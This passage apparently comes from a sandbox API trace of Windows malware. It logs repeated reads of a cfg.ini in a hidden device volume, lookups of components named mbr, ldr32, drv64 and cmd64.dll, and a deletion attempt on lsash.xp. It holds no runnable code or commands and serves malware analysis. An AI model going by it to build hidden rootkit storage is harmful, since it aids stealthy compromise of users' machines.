_Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.087] KeEnterCriticalRegion () [0123.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.087] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.087] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbedd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.087] KeLeaveCriticalRegion () [0123.087] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.087] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.087] KeEnterCriticalRegion () [0123.087] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.087] ExFreePoolWithTag (P=0xfffffa8003be9ea0, Tag=0x0) [0123.087] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.087] KeLeaveCriticalRegion () [0123.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.088] ReleaseMutex (hMutex=0xf0) returned 1 [0123.088] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.088] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.088] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.088] KeEnterCriticalRegion () [0123.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.088] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.088] IdePortDispatch () returned 0x103 [0123.088] KeWaitForMutexObject () returned 0x0 [0123.088] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.088] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.088] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.088] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.088] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.088] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9810 [0123.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.088] KeLeaveCriticalRegion () [0123.088] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.088] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.088] KeEnterCriticalRegion () [0123.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.088] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.088] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.088] KeLeaveCriticalRegion () [0123.088] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.088] KeEnterCriticalRegion () [0123.088] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.088] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.088] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.088] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.088] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.088] IdePortDispatch () returned 0x103 [0123.089] KeWaitForMutexObject () returned 0x0 [0123.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.089] KeLeaveCriticalRegion () [0123.089] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.089] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.089] KeEnterCriticalRegion () [0123.089] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.089] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002daa000 [0123.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.089] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.089] IdePortDispatch () returned 0x103 [0123.089] KeWaitForMutexObject () returned 0x0 [0123.089] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.089] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.089] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.089] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.089] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.089] IdePortDispatch () returned 0x103 [0123.089] KeWaitForMutexObject () returned 0x0 [0123.089] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.089] KeLeaveCriticalRegion () [0123.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.090] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.090] KeEnterCriticalRegion () [0123.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.090] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.090] KeLeaveCriticalRegion () [0123.090] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.090] KeEnterCriticalRegion () [0123.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.090] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.090] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be98d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.090] KeLeaveCriticalRegion () [0123.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.090] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.090] KeEnterCriticalRegion () [0123.090] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.090] ExFreePoolWithTag (P=0xfffffa8003be9810, Tag=0x0) [0123.090] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.090] KeLeaveCriticalRegion () [0123.090] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.090] ReleaseMutex (hMutex=0xf0) returned 1 [0123.090] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.090] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.090] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.091] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.091] KeEnterCriticalRegion () [0123.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.091] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.091] IdePortDispatch () returned 0x103 [0123.091] KeWaitForMutexObject () returned 0x0 [0123.091] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.091] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.091] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.091] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.091] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.091] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.091] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.091] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.091] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.091] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.091] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.091] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.091] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.091] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.091] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.091] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.091] KeLeaveCriticalRegion () [0123.091] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.091] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.091] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.091] KeEnterCriticalRegion () [0123.091] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.091] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.091] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.091] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.091] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.091] IdePortDispatch () returned 0x103 [0123.091] KeWaitForMutexObject () returned 0x0 [0123.092] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.092] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.092] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.092] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.092] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.092] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.092] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.092] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.092] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.092] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.092] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.092] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.092] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.092] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.092] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.092] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.092] KeLeaveCriticalRegion () [0123.092] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.092] ReleaseMutex (hMutex=0x100) returned 1 [0123.092] Sleep (dwMilliseconds=0x2bf20) [0123.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c9199f0, dwHighDateTime=0x1d24fa4)) [0123.098] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.098] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.098] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.098] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.098] KeEnterCriticalRegion () [0123.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.098] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.098] IdePortDispatch () returned 0x103 [0123.098] KeWaitForMutexObject () returned 0x0 [0123.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.099] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.099] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.099] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.099] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.099] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9ea0 [0123.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.099] KeLeaveCriticalRegion () [0123.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.099] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.099] KeEnterCriticalRegion () [0123.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.099] KeLeaveCriticalRegion () [0123.099] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.099] KeEnterCriticalRegion () [0123.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.099] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.099] IdePortDispatch () returned 0x103 [0123.099] KeWaitForMutexObject () returned 0x0 [0123.099] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.099] KeLeaveCriticalRegion () [0123.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.099] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.099] KeEnterCriticalRegion () [0123.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.099] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dad000 [0123.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.099] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.100] IdePortDispatch () returned 0x103 [0123.100] KeWaitForMutexObject () returned 0x0 [0123.100] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.100] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.100] IdePortDispatch () returned 0x103 [0123.100] KeWaitForMutexObject () returned 0x0 [0123.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.100] KeLeaveCriticalRegion () [0123.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.101] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.101] KeEnterCriticalRegion () [0123.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.101] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.101] KeLeaveCriticalRegion () [0123.101] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.101] KeEnterCriticalRegion () [0123.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.101] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.101] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.101] KeLeaveCriticalRegion () [0123.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.101] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.101] KeEnterCriticalRegion () [0123.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.101] ExFreePoolWithTag (P=0xfffffa8003be9ea0, Tag=0x0) [0123.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.101] KeLeaveCriticalRegion () [0123.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.101] ReleaseMutex (hMutex=0xf0) returned 1 [0123.101] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.101] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.101] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.101] KeEnterCriticalRegion () [0123.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.101] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.101] IdePortDispatch () returned 0x103 [0123.101] KeWaitForMutexObject () returned 0x0 [0123.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.102] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.102] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.102] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.102] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.102] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9660 [0123.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.102] KeLeaveCriticalRegion () [0123.102] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.102] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.102] KeEnterCriticalRegion () [0123.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.102] KeLeaveCriticalRegion () [0123.102] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.102] KeEnterCriticalRegion () [0123.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.103] KeInitializeEvent (in: Event=0xfffff880028b2620, 